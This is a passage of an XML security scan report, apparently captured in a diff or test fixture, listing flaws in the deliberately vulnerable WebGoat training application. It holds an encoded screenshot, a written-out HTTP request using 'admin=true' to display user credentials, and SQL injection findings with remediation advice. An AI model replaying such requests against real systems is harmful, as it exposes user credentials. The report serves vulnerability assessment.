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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
